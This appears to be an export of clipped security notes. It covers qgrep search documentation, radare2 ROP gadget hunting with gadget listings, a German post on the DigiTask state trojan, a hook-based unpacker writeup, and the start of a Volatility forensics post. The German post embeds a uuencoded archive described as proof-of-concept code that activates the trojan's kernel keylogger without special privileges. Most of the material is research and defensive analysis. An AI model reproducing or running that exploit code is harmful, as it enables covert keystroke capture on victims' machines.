1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='925' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Searching the project

The command for searching the project is:

[code]

    qgrep search <project-list> <search-options> <query>
    
[/code]

Query is a regular expression by default; you can use search options to change
it to literal. Remember that query is the last argument - you will need to
quote it if your query needs to contain a space.

Search options do not have a specific prefix, and can be separated by spaces.
These are the available search options:

[code]

    i - case-insensitive search
    l - literal search (query is treated as a literal string)
    b - bruteforce search: skip indexing optimizations (mainly for internal use)
    V - Visual Studio style formatting: slashes are replaced with backslashes
        and line number is printed in parentheses
    C - include column number in output
    Lnumber - limit output to <number> lines
    
[/code]

For example, this command uses case-insensitive regex search with Visual
Studio output formats \(with column number included\), limited to 100 results:

[code]

    qgrep search * i VC L100 hello\s+world
    
[/code]

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='67'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='931' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Searching for project files

Since the database contains file list in addition to file contents, qgrep can
be used to search for files by paths or names. The command for that is:

[code]

    qgrep files <project-list> <search-options> <query>
    
[/code]

You can omit search options and query to get all files in the project\(s\).

Search options can contain all options that are used for regular searches
\(although not all options make sense for file searches\); in addition, you
can select a search style using the following options

[code]

    fp - search in file paths using a regular expression (unless l flag is used)
         This option is the default.
    
    fn - search in file names using a regular expression (unless l flag is used)
    
    fs - search in file names/paths using a space-delimited literal query
         The query is a space-delimited list of literal components; if a component
         contains a slash, it is used to filter files by path; otherwise it is used
         to filter files by name. For example: 
    
            render/ manager.c
    
         matches with:
    
            D:\MyGame\Source/render/lightmanager.cpp
            D:\MyGame\Source/render/manager.c
    
    ff - search in file paths using fuzzy matching with ranking
         All letters from a query have to exist in the file path in the same order,
         and the distance between letters in the match determines the score. For
         example:
    
            src/r/lmanager
    
         matches with:
    
            D:\MyGame\Source/render/lightmanager.cpp
            D:\MyGame\Source/network/lobby/manager.cpp
    
[/code]

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='68'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='936' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Keeping projects up-to-date

While you can use `qgrep update` to keep projects up to date, this is not very
convenient. If you forget to do that the searches will return stale data, and
you'd have to update after every significant change.

Because of this, qgrep provides functionality that lets you notify it about
any changes \(you can set it to run after your editor saves the file\):

[code]

    qgrep change <project-list> <file-list>
    
[/code]

This will update the list of changed files for each project to include the
files that are part of that project - you can specify \* as a shorthand for
all projects.

Additionally, you can run qgrep in watch mode where it will automatically
listen to any filesystem changes and update the changed files:

[code]

    qgrep watch <project-list>
    
[/code]

Internally qgrep keeps a list of changed files for each project, and `change`
simply appends the specified files to the list. Because of this, if you only
use `change` and never `update`, over time the search performance will
deteriorate; `watch`, however, will automatically update the project when the
list grows large enough to maintain query performance.

Note that currently `change`/`watch` do not track new files, only changes to
existing files.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='69'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='944' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Feedback

You can report bugs, feature requests, submit patches and download new
versions from qgrep site:

[code]

    http://github.com/zeux/qgrep
    
[/code]

Alternatively, you can contact the author using the e-mail:

[code]

    Arseny Kapoulkine <arseny.kapoulkine@gmail.com>
    
[/code]

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='70'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='948' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>License

This software is available to anybody free of charge, under the terms of MIT
License \(see LICENSE.md\).

# Rop'n'roll

**Created:**| _8/19/2014 2:58:38 PM_  
---|---  
**Updated:**| _8/19/2014 2:58:38 PM_  
**Author:**| __  
**Tags:**| _security tools Exploit programming rop_  
  

# Rop'n'roll

2014-08-19

As attackers are moving forwards, so does the defense. Since a couple of
years, every decent operation system has non-executable stack, defeating the
classic 'put your shellcode on the stack and execute it' _modus operanti_.

This is why attackers are now using \(among other things\) Return Oriented
Programming, also known as _ROP_ , to bypass this protection.

Because radare2 \(also\) aims to be useful to exploits writer and make their
life easier, it can now:

  * hunt for gadgets, with a configurable depth
  * filter gadgets
  * do this for multiples archs

[code]

    [0x08048320]> /R
    Do you want to print 468.9K chars? (y/N)  
    
[/code]

Well, let's filter.

[code]

    [0x08048320]> /R pop,pop,ret
    0x080484b0 ret  
      0x080484a8 df83c41c5b5e  fild word [ebx+0x5e5b1cc4]
      0x080484ae           5f  pop edi
      0x080484af           5d  pop ebp
      0x080484b0           c3  ret
    
    0x080484b0 ret  
      0x080484aa       c41c5b  les ebx, [ebx+ebx*2]
      0x080484ad           5e  pop esi
      0x080484ae           5f  pop edi
      0x080484af           5d  pop ebp
      0x080484b0           c3  ret
    
    0x080484b0 ret  
      0x080484ab         1c5b  sbb al, 0x5b
      0x080484ad           5e  pop esi
      0x080484ae           5f  pop edi
      0x080484af           5d  pop ebp
      0x080484b0           c3  ret
    
    0x080484b0 ret  
      0x080484ac           5b  pop ebx
      0x080484ad           5e  pop esi
      0x080484ae           5f  pop edi
      0x080484af           5d  pop ebp
      0x080484b0           c3  ret
    
    0x080484b0 ret  
      0x080484ad           5e  pop esi
      0x080484ae           5f  pop edi
      0x080484af           5d  pop ebp
      0x080484b0           c3  ret
    
    0x080484b0 ret  
      0x080484ae           5f  pop edi
      0x080484af           5d  pop ebp
      0x080484b0           c3  ret
    
[/code]

It's possible to change the depth of the search, to speed-up the hunt:

[code]

    [0x08048320]> e search.roplen = 4
    [0x08048320]> /R mov ebp,call eax
    0x08048386 call eax  
      0x0804837a         89e5  mov ebp, esp
      0x0804837c       83ec18  sub esp, 0x18
      0x0804837f c7042420a00408  mov dword [esp], 0x804a020
      0x08048386         ffd0  call eax
    
    0x0804840f call eax  
      0x08048403         89e5  mov ebp, esp
      0x08048405       83ec18  sub esp, 0x18
      0x08048408 c70424109f0408  mov dword [esp], 0x8049f10
      0x0804840f         ffd0  call eax
    
    [0x08048320]>
    
[/code]

The next step might be ROP chain assembling and manipulation, and why not
automatic-construction, à la mona.py? Contributions are welcome\!

# Untitled note

**Created:**| _10/28/2011 10:30:57 AM_  
---|---  
**Updated:**| _10/28/2011 10:30:57 AM_  
**Author:**| __  
**Tags:**| _Exploit Malware-analysis_  
  

[code]

             HOCHKOMPLIZIERTE VERSUCHSANORDNUNG VERSAGT
           Verheimlichen Bundesbehörden ein Halteproblem?
    
    
    Gestern hat der  CCC die Analyse einer  aktuellen Version des
    Staatstrojaners  vorgestellt[1]. Im  Zuge  dessen wurde  auch
    eine geleckte Stellungnahme von DigiTask an Behördenkunden[2]
    veröffentlicht,  in  der  mich folgender  Absatz  erneut  zum
    Popcorneimer greifen ließ:
    
      Die Analyse des Kernel Treibers ist weitgehend korrekt. Der
      CCC bestaetigt auch  hier, dass nichtzugelassene Funktionen
      (Keylogger) nicht aktiviert werden können.
    
    Dieser  Kommentar  bezieht  sich  auf die  alte  Version  des
    Trojaners,  dessen  Analyse  inklusive  Binaries[3]  vom  CCC
    bereits vor über zwei Wochen  online gestellt wurde. Nach den
    bisherigen Reaktionen zum DigiTask-Trojaner  halte ich es für
    höchst unwahrscheinlich,  daß die  Verantwortlichen kompetent
    technisch beraten werden. Aus Mitleid möchte ich deshalb kurz
    meine Erkenntnisse  zum Kernelmode Keylogger im  alten Kernel
    Treiber zum Besten geben:
    
    - In dem Treiber  ist Keylogger-Programmcode vorhanden. Damit
      können Tasten  aufgezeichnet und von  beliebigen Programmen
      ohne weitere Sicherheitschecks mitgelesen werden.
    
    - Es fehlt  eine Routine, die den  Keylogger so konfiguriert,
      daß Tasten aufgezeichnet werden.
    
    - Das  Fehlen  dieser  Routine   verhindert  nicht,  daß  der
      Keyloggercode trotzdem aktiviert und benutzt werden kann.
    
    Als  Nachweis ist  der  Quellcode  eines kurzen  Programms[4]
    angehängt,  das   den  Kernelmode  Keylogger   aktiviert.  Es
    benötigt  dazu keine  besonderen  Rechte,  sondern nutzt  nur
    unoffensichtliche Funktionen des Treibers von DigiTask aus.
    
    Offenbar  gibt  es  ein  Problem  mit  der  hochkomplizierten
    Versuchsanordnung   zum   Beweis   der   Nichtexistenz   bzw.
    Nichtaktivierbarkeit  unzulässiger   Programmfunktionen.  Der
    aufgetretene  Fehler ist  charakteristisch  für Unwuchten  in
    nicht fachgerecht betriebenen Turingmaschinen. Darum habe ich
    folgende unangenehme Fragen für die Trojanerverantwortlichen:
    
    - Werden Turingmaschinen  in Bundesbehörden unzulässigerweise
      vertikal ausgerichtet betrieben?
    
    - Warum   werden   stattdessen   nicht   robuste   und   viel
      ungefährlichere Kellerautomaten eingesetzt?
    
    
    Heil Eris, x.
    
    
    [1] http://www.ccc.de/de/updates/2011/analysiert-aktueller-staatstrojaner
    [2] http://www.ccc.de/system/uploads/80/original/Stellungnahme_DigiTask.pdf
    [3] http://www.ccc.de/system/uploads/77/original/0zapftis-release.tgz
    [4] Quellcodearchiv extrahieren (uudecode), entpacken und mit
        dem frei verfübaren Windows Driver Kit bauen:
    begin 644 winsys32keylog.tgz
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
    *\G](1\1W`%``````
    `
    end
    
[/code]

# ReversingLabs | Blog » Unpacking by hooking?
**Created:**| _6/16/2010 8:31:13 PM_  
---|---  
**Updated:**| _6/16/2010 8:31:30 PM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis_  
  

## Unpacking by hooking?

Category: Reversing, TitanEngine / Tag: Hooks, TitanEngine, Unpacker, UPX /
Add Comment

Lets try something totally crazy. Lets try dynamic unpacking without total
unpacking control, without breakpoints, without any kind of debugging
whatsoever. Lets merge our unpacking process with the packer itself binding
them into one unique work flow that collects information while packer is
executing. Similar to what we do with debugging just without the debugger. How
do we do this? Can we for that matter?

We can, with the little help from the TitanEngine's hooking library. The idea
is to have our unpacker as a library which will be injected to the packed file
during its execution. Such library would place hooks inside the packer code
which redirect the control flow to our unpacker where ever data collection or
execution handling is needed. Those places are usually spots where packer
processes the import table, relocations, jumps to the original entry point or
just switches execution from one layer to another.

Benefits of such approach? Even though its  _slightly_ harder to create and
test such unpacker most notable benefit of unpacking by hooking is total
immunity to various anti-debugging tricks used to detect the unpacking
process. Only detection applicable to this unpacking scenario is anti-hooking
and memory checksumming. First is hardly ever used in modern protections due
to large number of false positives it gives which are triggered by the
operating system itself, security software and various window skinning
applications. And the second one is rarely present and when it is it only
covers specific memory regions that correspond to single protection layer. In
conclusion this method of implementing the unpacking process should give less
things to worry about.

Implementing this kind of hooks requires a building custom functions that
process the hook events. This is necessary to maintain the packed program work
flow and is exactly why we preserve the register state with PUSHAD and if
there is a jump affected by our hook even EFLAGS with PUSHFD. These ASM
instructions are embedded in our C code and with the help of naked pre-
processor instruction they become the prologue and epilogue of the function.
To apply the hooks we use the DLL\_PROCESS\_ATTACH event. For example if we
were to hook the UPX code which loads libraries the hook code flow would look
like this:

<img src='img/Temp2_6992.png' width='627' height='247' />Since our hooks are 5
bytes we need to "borrow" as much instructions we need to insert the hook. In
this case we are "borrowing" three instructions. These instructions will be
executed right after our inserted function is called. This is done to preserve
the packer work flow. As you can see from this diagram we are using hooks
instead of breakpoints. Therefore these hooks will be placed on at-least three
places. When UPX calls LoadLibraryA, GetProcAddress and finally once is jumps
to the entry point. Most basic sample UPX unpacker is limited to working on
executables which don't import functions by ordinals and use the old jump to
entry point method. Quite limited but enough for our technique proof-of-
concept.

Debugging this kind of unpackers can be rather tricky. This video shows a
quick and easy way to do it:

blah

Since we are creating a hook library unpacker we also need a loader which will
execute the unpacking target and inject the unpacker library in it. This can
be done in number of ways but we decided to do via debug - detach method. Once
both unpacker hook library and the loader are made our unpacker is complete.
We hope you got the idea on how to use this technique to build your own
hooking unpackers from our short blog. Until next week...

upxHooks  
\(package contains the unpacker with source and the samples used\)

# appid - application protocol identification library - Google Project Hosting

**Created:**| _1/18/2013 9:05:35 AM_  
---|---  
**Updated:**| _1/18/2013 9:05:35 AM_  
**Author:**| __  
**Tags:**| _Footprinting automation network-security protocol-analysis_  
  

# application protocol identification library

Project Information **Members** Links |  appid identifies the application protocol in a content stream, based on patterns \(similar to regular expressions\) which are compiled into a single state machine for single-pass matching.   
---|---

# Liquid Types - Microsoft Research

**Created:**| _9/10/2011 9:41:54 AM_  
---|---  
**Updated:**| _9/14/2011 9:10:52 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification SMT_  
  

We present Logically Qualified Data Types, abbreviated to Liquid Types, a new
static verification technique which combines the complementary strengths of
automated deduction \(SMT solvers\), model checking \(Predicate Abstraction\),
and type systems \(Hindley-Milner inference\). Liquid Types automate static
verification of deep invariants by combining local implication checks over
simple refinement predicates with global subtyping checks. The former are
discharged using SMT solvers, and the latter using standard type-based
mechanisms. We have implemented Liquid Types in a tool Dsolve, which takes as
input an Ocaml program and a set of logical qualifiers and infers liquid types
for the expressions in the program. To demonstrate the utility of our
approach, we describe experiments using Dsolve to statically verify, with
minimal annotations, the safety of array accesses on a diverse set of
benchmarks, and the key invariants of a variety of data structure libraries
including several sorting implementations, AVL trees, red-black trees, finite,
balanced binary search maps, and an extensible vector library.

\(Joint work with Patrick Rondon and Ming Kawaguchi\)

# Invoke-IR | PowerShell Incident Response
**Created:**| _10/29/2013 1:23:43 PM_  
---|---  
**Updated:**| _10/29/2013 1:24:39 PM_  
**Author:**| __  
**Tags:**| _Memory forensics Malware-analysis powershell_  
  

# **P** owerShell Incident Response****

**My First Volatility Plugin**  
This weekend I was working on some memory analysis using Volatility, and I
came across a sample that had a malicious process named svchost.exe**.** Now
if you have read Mandiant's M-Trends report, then you know that svchost.exe is
the most common name of malware found **.** If you have spent any amount of
time working with Windows forensics or incident response, then you are very
familiar with the reason why malware authors name their process
svchost.exe**.** In a normal Windows installation there are approximately 6-10
svchost processes running at any given time**.** In this particular sample, it
was fairly easy for me to spot the malicious process because it was exhibiting
behavior that was abnormal for its name**.** However, if an analyst does not
